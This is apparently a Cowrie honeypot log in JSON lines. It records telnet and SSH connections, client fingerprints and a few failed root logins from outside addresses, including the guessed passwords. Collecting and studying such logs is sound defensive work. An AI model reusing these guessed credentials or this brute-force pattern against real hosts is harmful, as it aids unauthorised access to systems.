{"eventid":"cowrie.session.closed","duration":2.1669223308563232,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:45.000814Z","src_ip":"206.189.32.23","session":"c76f959d02d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.55751872062683,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:45.280207Z","src_ip":"162.55.233.176","session":"5b006df73609","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:47.390199Z","src_ip":"213.209.159.158","session":"b92afb299da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24578,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd479b468d47","protocol":"ssh","message":"New connection: 213.209.159.158:24578 (10.17.0.5:22) [session: cd479b468d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:47.478350Z"}
{"eventid":"cowrie.session.closed","duration":31.4813551902771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:47.967278Z","src_ip":"162.55.233.176","session":"0293e0a7451c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.45804738998413,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:48.293293Z","src_ip":"162.55.233.176","session":"0a161d6fb702","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.657052278518677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:49.020316Z","src_ip":"162.55.233.176","session":"3476329fc8ac","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:49.460348Z","src_ip":"213.209.159.158","session":"cd479b468d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:49.490228Z","src_ip":"213.209.159.158","session":"cd479b468d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60130,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf9cbcbace4","protocol":"telnet","message":"New connection: 162.55.233.176:60130 (159.203.135.109:23) [session: 0bf9cbcbace4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:49.525453Z"}
{"eventid":"cowrie.session.closed","duration":40.40652799606323,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:51.955261Z","src_ip":"206.189.32.23","session":"c5fb45bb1b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.23244833946228,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:53.035584Z","src_ip":"162.55.233.176","session":"243b1ae88e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.0746009349823,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:57.448084Z","src_ip":"188.208.141.113","session":"6617f6ee4670","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.64.131.10","src_port":37361,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3d0bbd198b7","protocol":"ssh","message":"New connection: 36.64.131.10:37361 (10.17.0.5:22) [session: b3d0bbd198b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:58.388866Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vj.123345","message":"login attempt [root/Vj.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:58.650090Z","src_ip":"213.209.159.158","session":"cd479b468d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.773348331451416,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:58.858180Z","src_ip":"206.189.32.23","session":"ca65ea1fa8d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:59.012068Z","src_ip":"36.64.131.10","session":"b3d0bbd198b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56682,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bdfa2e3ca7d","protocol":"telnet","message":"New connection: 162.55.233.176:56682 (159.203.135.109:23) [session: 5bdfa2e3ca7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:00.598877Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":57694,"dst_ip":"159.203.135.109","dst_port":22,"session":"77556559f48e","protocol":"ssh","message":"New connection: 103.170.173.26:57694 (159.203.135.109:22) [session: 77556559f48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:00.683614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:00.688356Z","src_ip":"103.170.173.26","session":"77556559f48e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:00.972838Z","src_ip":"103.170.173.26","session":"77556559f48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.004754304885864,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:01.241468Z","src_ip":"162.55.233.176","session":"28ccdd9964c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:01.845772Z","src_ip":"213.209.159.158","session":"cd479b468d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":39202,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7ced5f65266","protocol":"ssh","message":"New connection: 213.209.159.158:39202 (10.17.0.5:22) [session: f7ced5f65266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:01.924524Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql2019","message":"login attempt [root/mysql2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:02.081138Z","src_ip":"103.170.173.26","session":"77556559f48e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:03.352087Z","src_ip":"103.170.173.26","session":"77556559f48e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:04.009980Z","src_ip":"213.209.159.158","session":"f7ced5f65266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:04.013740Z","src_ip":"213.209.159.158","session":"f7ced5f65266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.190884351730347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:04.439466Z","src_ip":"162.55.233.176","session":"0cee32896a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.931700229644775,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:04.548882Z","src_ip":"162.55.233.176","session":"0d3f680fc1f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34658,"dst_ip":"159.203.135.109","dst_port":23,"session":"77bc979c2843","protocol":"telnet","message":"New connection: 162.55.233.176:34658 (159.203.135.109:23) [session: 77bc979c2843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:04.848493Z"}
{"eventid":"cowrie.session.closed","duration":31.385701179504395,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:05.395843Z","src_ip":"162.55.233.176","session":"537e369184d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34666,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4e99693bfcc","protocol":"telnet","message":"New connection: 162.55.233.176:34666 (159.203.135.109:23) [session: a4e99693bfcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:05.848578Z"}
{"eventid":"cowrie.session.closed","duration":34.50583457946777,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:07.513988Z","src_ip":"162.55.233.176","session":"145a09eb28c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0018789768219,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:08.669848Z","src_ip":"206.189.32.23","session":"3bf65d8c32c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34680,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1f5a5dfff3b","protocol":"telnet","message":"New connection: 162.55.233.176:34680 (159.203.135.109:23) [session: b1f5a5dfff3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:12.256255Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"volcane","message":"login attempt [root/volcane] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:13.411761Z","src_ip":"213.209.159.158","session":"f7ced5f65266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38094,"dst_ip":"159.203.135.109","dst_port":23,"session":"566477ba4035","protocol":"telnet","message":"New connection: 162.55.233.176:38094 (159.203.135.109:23) [session: 566477ba4035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:13.902990Z"}
{"eventid":"cowrie.session.closed","duration":32.50952887535095,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:14.028841Z","src_ip":"162.55.233.176","session":"372b35a3e6e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.580194234848022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:14.986173Z","src_ip":"162.55.233.176","session":"64cd913f9abe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51028,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1570daab109","protocol":"telnet","message":"New connection: 188.208.141.113:51028 (10.17.0.5:23) [session: c1570daab109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:15.923075Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38098,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a5b1fdc4ca","protocol":"telnet","message":"New connection: 162.55.233.176:38098 (159.203.135.109:23) [session: 08a5b1fdc4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:15.999023Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38114,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8782a9c41f","protocol":"telnet","message":"New connection: 162.55.233.176:38114 (159.203.135.109:23) [session: 5f8782a9c41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:16.213242Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38120,"dst_ip":"159.203.135.109","dst_port":23,"session":"63f1c3f35b05","protocol":"telnet","message":"New connection: 162.55.233.176:38120 (159.203.135.109:23) [session: 63f1c3f35b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:16.352310Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:16.787416Z","src_ip":"213.209.159.158","session":"f7ced5f65266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":55552,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ac29da558c3","protocol":"ssh","message":"New connection: 213.209.159.158:55552 (10.17.0.5:22) [session: 9ac29da558c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:16.881475Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38132,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e023ddacc51","protocol":"telnet","message":"New connection: 162.55.233.176:38132 (159.203.135.109:23) [session: 9e023ddacc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:17.009317Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48792,"dst_ip":"10.17.0.5","dst_port":23,"session":"7744145b2ae1","protocol":"telnet","message":"New connection: 206.189.32.23:48792 (10.17.0.5:23) [session: 7744145b2ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:17.495383Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38134,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8099f3676b5","protocol":"telnet","message":"New connection: 162.55.233.176:38134 (159.203.135.109:23) [session: c8099f3676b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:17.865115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:18.846860Z","src_ip":"213.209.159.158","session":"9ac29da558c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:18.850914Z","src_ip":"213.209.159.158","session":"9ac29da558c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38144,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa68a048532c","protocol":"telnet","message":"New connection: 162.55.233.176:38144 (159.203.135.109:23) [session: fa68a048532c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:19.080070Z"}
{"eventid":"cowrie.session.closed","duration":40.97788405418396,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:20.844131Z","src_ip":"206.189.32.23","session":"bd646263d8a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38156,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cf595a57f96","protocol":"telnet","message":"New connection: 162.55.233.176:38156 (159.203.135.109:23) [session: 7cf595a57f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:21.319496Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38168,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e2890d1136c","protocol":"telnet","message":"New connection: 162.55.233.176:38168 (159.203.135.109:23) [session: 8e2890d1136c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:21.727890Z"}
{"eventid":"cowrie.session.closed","duration":4.321283578872681,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:21.816525Z","src_ip":"206.189.32.23","session":"7744145b2ae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38174,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba8607a0bc42","protocol":"telnet","message":"New connection: 162.55.233.176:38174 (159.203.135.109:23) [session: ba8607a0bc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:22.296730Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51030,"dst_ip":"10.17.0.5","dst_port":23,"session":"2263412a5536","protocol":"telnet","message":"New connection: 188.208.141.113:51030 (10.17.0.5:23) [session: 2263412a5536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:22.903244Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34218,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a5244f4b41c","protocol":"telnet","message":"New connection: 162.55.233.176:34218 (159.203.135.109:23) [session: 9a5244f4b41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:23.168924Z"}
{"eventid":"cowrie.session.closed","duration":47.979047536849976,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:23.223041Z","src_ip":"188.208.141.113","session":"76a29dbbd012","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7317173480987549,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:23.634870Z","src_ip":"188.208.141.113","session":"2263412a5536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34226,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c325012d418","protocol":"telnet","message":"New connection: 162.55.233.176:34226 (159.203.135.109:23) [session: 6c325012d418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:23.857325Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34238,"dst_ip":"159.203.135.109","dst_port":23,"session":"edac9e007884","protocol":"telnet","message":"New connection: 162.55.233.176:34238 (159.203.135.109:23) [session: edac9e007884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:25.693896Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34246,"dst_ip":"159.203.135.109","dst_port":23,"session":"78402dc0050a","protocol":"telnet","message":"New connection: 162.55.233.176:34246 (159.203.135.109:23) [session: 78402dc0050a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:51:25.776949Z"}
